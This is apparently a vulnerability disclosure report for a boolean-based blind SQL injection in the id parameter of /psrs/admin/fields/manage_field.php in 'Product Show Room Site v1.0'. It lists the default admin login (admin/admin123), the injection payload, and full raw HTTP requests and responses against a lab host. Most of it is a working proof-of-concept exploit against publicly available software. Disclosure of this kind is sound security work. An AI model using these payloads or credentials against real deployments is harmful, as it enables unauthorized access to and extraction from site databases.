⑂ main ▾ ⋯

bug_report / vendors / oretnom23 / product-show-room-site / **SQLi-11.md**

debug601 Update SQLi-11.md ⟳ History

⤵ **1 contributor**

35 lines (24 sloc) | 1.47 KB ⋯

Product Show Room Site v1.0 by oretnom23 has SQL injection

The password for the backend login account is: admin/admin123

vendors: https://www.sourcecodester.com/php/15370/product-show-room-site-phpoop-free-source-code.html

Vulnerability File: /psrs/admin/fields/manage_field.php?id=

Vulnerability location: /psrs/admin/fields/manage_field.php?id=, id

Current database name: psrs_db ,length is 7

[+] Payload: /psrs/admin/fields/manage_field.php?id=1%27%20and%20length(database())%20=7--+ // Leak place ---> id

```
GET /psrs/admin/fields/manage_field.php?id=1%27%20and%20length(database())%20=7--+ H
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

```
Cookie: PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close
```

◄ ▬▬▬▬▬▬▬▬▬ ►

When length (database ()) = 6, Content-Length: 2889

```
GET
/psrs/admin/fields/manage_field.php?id=1%
27%20and%20length(database())%20=6--+
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicati
on/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close
```

```
HTTP/1.1 200 OK
Date: Fri, 03 Jun 2022 09:40:44 GMT
Server: Apache/2.4.48 (Win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache,
must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2889
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
        <form action="" id="field-form">
                <input type="hidden"
name ="id" value="">
                        <div class="form-group">
                                <label
for="category id"
```

INT ∨ ▬ ➕ SQL BASICS▾ UNION BASED▾ ERROR/DOUBLE QUERY▾ TOOLS▾ WAF BYPASS▾ ENCODING▾ HT

Load URL | http://192.168.1.19/psrs/admin/fields/manage_field.php?id=1' and length(database()) =6--+
Split URL
Execute

☐ Post data ☐ Referrer ◄ 0xHEX ► ◄ %URL ► ◄ BASE64 ► | Insert string

Category [∨]
Name [   ]
Status [Active ∨]

When length (database ()) = 7, Content-Length: 2906

```
GET
/psrs/admin/fields/manage_field.php?id=1%
27%20and%20length(database())%20=7--+
HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,applicati
on/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=7g6mvmuq5m1o1cvqrhprll4jr1
Connection: close
```

```
HTTP/1.1 200 OK
Date: Fri, 03 Jun 2022 09:39:58 GMT
Server: Apache/2.4.48 (Win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache,
must-revalidate
Pragma: no-cache
Access-Control-Allow-Origin: *
Content-Length: 2906
Connection: close
Content-Type: text/html; charset=UTF-8

<div class="container-fluid">
        <form action="" id="field-form">
                <input type="hidden"
name ="id" value="1">
                        <div class="form-group">
                                <label
for="category id"
```

Load URL
Split URL
Execute

http://192.168.1.19/psrs/admin/fields/manage_field.php
?id=1' and length(database()) =7--+

☐ Post data   ☐ Referrer   ◀ 0xHEX ▶   ◀ %URL ▶   ◀ BASE64 ▶

Category [Main   ▼]
Name [Field #1]
Status [Active   ▼]

Load URL
Split URL
Execute

http://192.168.1.19/psrs/admin/fields/manage_field.php
?id=1' and length(database()) =7--+